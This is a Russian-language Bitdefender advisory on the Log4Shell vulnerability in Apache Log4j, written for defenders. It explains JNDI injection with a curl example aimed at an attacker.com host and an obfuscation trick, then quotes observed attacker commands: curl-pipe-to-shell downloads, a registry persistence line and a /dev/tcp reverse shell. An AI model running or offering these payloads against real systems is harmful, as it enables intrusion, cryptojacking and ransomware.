Компания Apache раскрыла CVE-2021–44228, уязвимость с возможностью удаленного запуска кода — ей присвоена степень серьезности 10 (наивысшая оценка риска). Исходным кодом уязвимости является Log4j, библиотека логирования, используемая широким кругом приложений, в частности, версиями до 2.14.1 (эта уязвимость также известна как Log4Shell).
Log4j — это библиотека с открытым исходным кодом, часть Apache Logging Services, написанная на языке Java. Первоначальный выпуск Java Development Kit (JDK) не включал API логирования, поэтому библиотеки логирования Java быстро стали популярными, включая Log4j. Библиотека Log4j широко используется другими фреймворками, такими как Elasticsearch, Kafka и Flink, которые являются основой для многих популярных веб-сайтов и сервисов.
Java является кроссплатформенным фреймворком, и эта уязвимость не ограничивается приложениями, работающими на конкретной операционной системе. Все приложения, использующие данный фреймворк, работающие на таких операционных системах, как Windows, Linux, macOS и FreeBSD, подвержены уязвимости. На Java работают веб-камеры, автомобильные навигационные системы, DVD-плееры и телевизионные приставки, различные терминалы и даже парковочные счетчики, и медицинские устройства.
Описание уязвимости
Библиотеки логирования считаются пассивными, поскольку они просто записывают оповещения в файл журнала или базу данных. Однако часто перед сохранением строки в файл журнала выполняется обработка — например, раскрытие переменных (определенных как ${variable}), таких как дата, время или имя пользователя. С помощью формулы Log.info(«${user.username} not found») можно заменить формулу ${user.username} на актуальное имя пользователя. Это похоже на использование $() в PowerShell для развертывания и обработки строк.
Эта информация может быть получена локально, например, актуальное время на сервере, или может быть получена с удаленной машины. Для удаленного поиска Log4j использует интерфейс Java Naming and Directory Interface (JNDI). JNDI предоставляет программисту возможность поиска объектов с помощью различных служб и протоколов, таких как LDAP, а также DNS, Java Remote Method Invocation (RMI) и других.
Синтаксис прост: ${jndi:protocol://server}. Блоки ${} могут вкладываться и объединяться, что усложняет обнаружение, поскольку существует много методов обфускации, которые могут использоваться. В качестве простого примера, вместо ${jndi:} злоумышленники могут использовать ${${lower:jn}${lower:di}}. Это позволяет злоумышленникам извлекать информацию с удаленного сервера, используя уязвимость — например, они могут считывать значение переменной среды и включать ее значение в LDAP-запрос (см. ниже):
RFC 2713 определяет, как объекты Java могут храниться в службе каталогов — и JNDI включает алгоритм для обнаружения, когда объект каталога содержит объект Java и загружает его в память. Продолжая пример с LDAP, если объект LDAP имеет атрибут ObjectClass, определенный как javaNamingReference, и имеет атрибуты javaCodebase, javaFactory и javaClassName, загрузчик объектов LDAP получит содержимое URL, определенного в javaCodebase, и использует его для создания объекта в памяти. Выполняется метод инициализации (конструктор) этого класса — загрузка незащищенного кода из незащищенного источника.
Для того чтобы эта угроза сработала, злоумышленнику достаточно найти способ получить специально созданную строку для обработки фреймворком логирования Log4j. Например, веб-приложение (цель данной уязвимости) часто хранит строку user agent, которая идентифицирует браузер, используемый посетителями.
String userAgent = request.getRequestHeader(«User-Agent»); log.info(userAgent);
Злоумышленник может указать кастомную строку user-agent для своего соединения. Эта информация сохраняется в файле журнала — и при ее обработке Log4j оказывается под угрозой.
curl http://victim.com/ -A «${ jndi:ldap://attacker.com/reference}»
Все версии Log4j от 2.0-beta9 до 2.14.1 уязвимы. Последняя версия 2.16 не затронута.
Важно понимать, что LDAP и строка агента пользователя — это лишь примеры потенциальной эксплуатации. Существуют и другие протоколы, которые злоумышленники могут использовать, чтобы заставить Log4j сохранять информацию журнала в определенном формате.
Как злоумышленники используют уязвимость?
С 10 декабря специалисты компании Bitdefender обнаружили различные атаки на свои точки доступа, а также реальные атаки на машины, на которых установлен агент защиты конечных точек Bitdefender. Получение доступа с помощью эксплойта и последующий криптоджекинг, являются основной целью угроз на этой стадии эксплуатации.
Ботнет Muhstik
Ботнеты нацелены на серверы для установки бэкдоров, расширения сети ботнета и развертывания криптомайнеров. Массовое развертывание является важным для успешного функционирования этих ботнетов. Мониторинг активности ботнетов часто позволяет предсказать, насколько опасен новый RCE на самом деле и каков масштаб атак.
Специалисты Bitdefender определили ботнет Muhstik как одну из первых атак.
Вредоносный файл класса hxxp://45.130.229[.]168: 9999/Exploit.class используется злоумышленниками для выполнения команды curl hxxp://18.228.7[.]109/.log/log | sh. Затем сценарий оболочки пытается загрузить несколько файлов ELF (Executable and Linkable Format) и сценариев командного процессора, чтобы потом активировать их. Целью этих сценариев является установка ботнета Muhstik и развертывание криптомайнера.
Обнаружены такие файлы, как:
- GenericKD.47627843
- Gen: Variant.Trojan. Linux.Gafgyt.22
- Linux.Zojfor.A.
Файл класса обнаружен как:
- GenericKD.47627832
Майнер XMRIG
Также были обнаружены угрозы, пытающиеся развернуть майнер XMRIG. Обнаружение аномалий в Bitdefender EDR происходит при запуске нового подозрительного подпроцесса:
Этот процесс выполняет командную строку cmd /C «(curl -s hxxp://158.247.218[.]44: 8000/wsnbb.sh||wget -q -O- hxxp://154.247.218[.]44: 8000/wsnbb.sh)». | bash, который загружает файл сценария wsnbb.sh.
Затем этот скрипт пытается развернуть майнер XMRIG с GitHub:
Это поведение определяется Bitdefender EDR как:
- NotExists.1. Process.NewSubprocessesStarted
Майнер XMRIG обнаружен как:
- Gen: Variant.Application. Linux.Miner.3 (Linux)
- Gen: Variant.Application. Miner.2 (Windows)
- Application.MAC.Generic.194 (macOS)
Новая версия Ransomware Khonsari
Атака Khonsari использует уязвимость Log4j применяя вредоносный файл hxxp://3.145.115[.]94/Main.class для скачивания дополнительной нагрузки. Вначале декабря, специалисты Bitdefender наблюдали эту нагрузку в виде вредоносного бинарного файла .NET, загружаемого с hxxp://3.145.115[.]94/zambo/groenhuyzen.exe. Это новая версия ransomware, названная Khonsari по расширению, используемому в зашифрованных файлах.
После запуска вредоносный файл отображает список всех дисков и шифрует их полностью, за исключением диска C:. На диске C: Khonsari зашифрует только следующие папки:
- C:Users<user>Documents
- C:Users<user>Videos
- C:Users<user>Pictures
- C:Users<user>Downloads
- C:Users<user>Desktop
Файлы с расширениями .ini и .lnk исключаются. Для шифрования используется алгоритм AES 128 CBC с использованием PaddingMode.Zeros. После шифрования к каждому файлу добавляется расширение. khonsari.
Оповещение с требованием выкупа записывается в C:Users<user>DesktopHOW TO GET YOUR FILES BACK.TXT и открывается с помощью Блокнота:
Ваши файлы были зашифрованы и похищены Khonsari. Если вы хотите расшифровать, позвоните по телефону (***) ***-1309 или напишите по электронной почте kar***ari@gmail.com. НЕ МОДИФИЦИРУЙТЕ И НЕ УДАЛЯЙТЕ ЭТОТ ФАЙЛ И ЛЮБЫЕ ЗАШИФРОВАННЫЕ ФАЙЛЫ. ЕСЛИ ВЫ ЭТО СДЕЛАЕТЕ, ВАШИ ФАЙЛЫ МОГУТ БЫТЬ НЕВОССТАНОВИМЫ.
Троян для удаленного доступа Orcus
В начале декабря специалисты Bitdefender, обнаружили еще одну уязвимость для скачивания дополнительной нагрузки с использованием того же URL hxxp://3.145.115[.]94/Main.class. Однако на этот раз Main.class пытается загрузить новую дополнительную нагрузку из hxxp://test.verble[.]rocks/dorflersaladreviews.jar.
Файл .jar копируется в C:Users<user>AppDataLocalAdobefengchenteamchina.class и персистентность устанавливается с помощью команды:
reg.exe add «hkcusoftwaremicrosoftwindowscurrentversionrun» /v «adobe telemetry agent» /t reg_sz /f /d «c:program files (x86)common filesoraclejavajavapathjavaw.exe -jar c:users<user>appdatalocaladobefengchenteamchina.class peedee».
Он загружает shellcode с hxxp://test.verble.rocks/dorflersaladreviews.bin.encrypted и внедряет его в память процесса conhost.exe. Здесь shellcode расшифровывается и загружает в память другую вредоносную нагрузку Orcus Remote Access Trojan (RAT), которая подключается к командно-контрольному серверу test.verble[.]rocks.
Файл класса обнаружен как:
- GenericKD.38268017.
- Файл .jar обнаружен как:
- GenericKD.38267576
Шелл-код обнаружен как:
- Agent.FQSI
- DonutLoader.A
Orcus RAT обнаружен как:
- Gen: Variant.MSILPerseus.207255
- Обратный Bash Shell
В одной из атак, рассмотренных ранее, вредоносный файл класса hxxp://152.32.216[.]78/Exploit.class использовался для выполнения следующей командной
/bin/bash -i > /dev/tcp/152.32.216[.]78/7777 0<&1 2>&1
Простота этой атаки демонстрирует, насколько легко использовать уязвимость Log4j.
Это поведение было обнаружено Bitdefender EDR как:
- BashReverseShell.
Файл класса обнаружен как:
- GenericKD.47629137
Компания Bitdefender рекомендует своим клиентам принять срочные меры и развернуть все существующие исправления и решения для защиты. А также необходимо применить порядок действий:
- Проведите обширный аудит инфраструктуры и программных приложений, чтобы выявить все системы, в которых используется механизм логирования Apache Log4j2. Затем обновите эти системы до версии Log4j 2.16.0 (обновленная рекомендация от 14 декабря 2021 года, так как версия 2.15, по данным Apache, подвержена атаке типа «отказ в обслуживании») и разверните рекомендованные Apache средства защиты конфигурации.
- Проанализируйте цепочку поставок программного обеспечения и спецификацию программного обеспечения. Запросите исправления для всех систем с открытым исходным кодом.
- Активно отслеживайте инфраструктуру на предмет потенциальных атак. Внедрите решение Bitdefender EDR, обратите внимание на признаки TCP-шифрования и проанализируйте все обнаруженные аномалии.
На данный момент не выявлено никаких дополнительных рисков, связанных с этой уязвимостью для клиентов, использующих решения Bitdefender.
Bitdefender рекомендует загрузить и обновить до патча Apache Log4j 2.17.0.
Для звернення до технічної підтримки:
Встановіть TeamViewer для віддаленого підключення фахівця технічної підтримки першого рівня
ЗавантажитиНапишіть в технічну підтримку
Виникли запитання?
Введіть Ваші дані і опишіть проблему в формі нижче
Bitdefender Україна
Вулиця Казимира Малевича, 86Л, Київ, 03150